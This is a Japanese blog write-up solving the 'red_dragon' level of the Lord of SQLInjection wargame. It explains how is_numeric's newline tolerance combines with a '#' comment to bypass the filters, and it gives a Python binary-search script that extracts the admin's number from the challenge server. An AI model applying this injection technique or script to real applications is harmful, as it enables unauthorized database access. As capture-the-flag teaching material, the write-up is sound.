はまやんはまやんはまやん

hamayanhamayan's blog

red_dragon [LORD OF SQLINJECTION]

Lord of SQLInjection

<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~");
if(strlen($_GET['id']) > 7) exit("too long string");
$no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
$query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

$query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['no'] === $_GET['no']) solve("red_dragon");
highlight_file(__FILE__);

特徴は以下。

  • id,noを入力する。以下フィルターがある
    • idは7文字以内
    • noは数値であるなら、そのまま使えて、そうでないなら1が使われる
  • adminのno要素とnoが等しいかを最終的に判定している

弱点はどこだろうか。
is_numeric関数は実は改行があっても無視して評価してしまう。
%0a123というのはis_numericはtrueになる。 さて、これを使ってidの値を特定していこう。

コメントと改行文字の組合せ

idに'||no>#を入れて、noに%0a12345を入れる。
これでインジェクション後は

select id from prob_red_dragon where id=''||no>#' and no=
12345

こういう感じになって、1行目の#以降はコメントなので、select id from prob_red_dragon where id=''||no>12345と解釈される。
これでnoが12345より大きいなら何らかの要素が出てくる。
後は、二分探索して、数を特定する。

import requests

url = "https://los.rubiya.kr/chall/red_dragon_b787ddfe8.php"
cookie = {'PHPSESSID': 'eodcti0jvp87pmvnr63hn7efq5'}

def check(data) -> bool:
    return ("Hello admin" in data) or ("Hello guest" in data)

ok = 0
ng = 1010101010

while ok + 1 != ng:
    md = (ok + ng) // 2
    res = requests.get(url, params={'id': "'||no>#", "no": f'\n{md}'}, cookies=cookie)
    print(f"[+] try {md}")
    if check(res.text):
        ok = md
    else:
        ng = md

print(f"[*] {ok + 1}")